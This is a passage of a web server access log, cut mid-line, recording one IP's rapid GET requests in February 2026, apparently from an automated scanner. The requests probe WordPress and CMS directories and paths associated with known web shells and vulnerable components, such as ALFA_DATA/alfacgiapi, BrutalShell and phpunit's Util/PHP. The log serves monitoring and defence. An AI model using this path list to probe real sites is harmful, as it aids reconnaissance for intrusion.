(Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:55:17 +0300] "GET /wp-admin/js/widget/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:17 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:18 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:18 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:18 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:18 +0300] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:19 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:19 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:19 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:19 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:20 +0300] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:20 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:55:20 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:20 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:21 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:21 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:21 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:21 +0300] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:55:22 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:55:22 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:22 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:23 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:23 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:55:23 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:55:24 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:24 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:55:24 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:55:24 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:24 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:55:25 +0300] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:25 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:25 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:25 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:55:26 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:55:26 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:26 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:26 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:27 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:55:27 +0300] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:27 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:28 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:28 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:28 +0300] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:28 +0300] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:29 +0300] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:29 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:29 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:29 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:29 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:30 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:30 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:55:30 +0300] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:55:30 +0300] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:31 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:31 +0300] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:31 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:32 +0300] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:55:32 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:55:32 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:32 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:55:33 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:55:33 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:33 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:55:33 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:34 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:55:34 +0300] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:34 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:34 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:35 +0300] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:35 +0300] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:35 +0300] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:35 +0300] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:36 +0300] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:36 +0300] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:36 +0300] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:36 +0300] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:55:37 +0300] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:55:37 +0300] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:37 +0300] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:37 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:38 +0300] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:55:38 +0300] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:38 +0300] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:38 +0300] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:39 +0300] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:55:39 +0300] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:39 +0300] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:39 +0300] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:40 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:55:40 +0300] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:55:40 +0300] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:40 +0300] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:41 +0300] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:55:41 +0300] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:41 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:41 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:42 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:42 +0300] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:55:42 +0300] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:42 +0300] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:43 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:43 +0300] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:55:43 +0300] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:44 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:55:44 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:44 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:44 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:45 +0300] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:45 +0300] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:45 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:46 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:55:46 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - 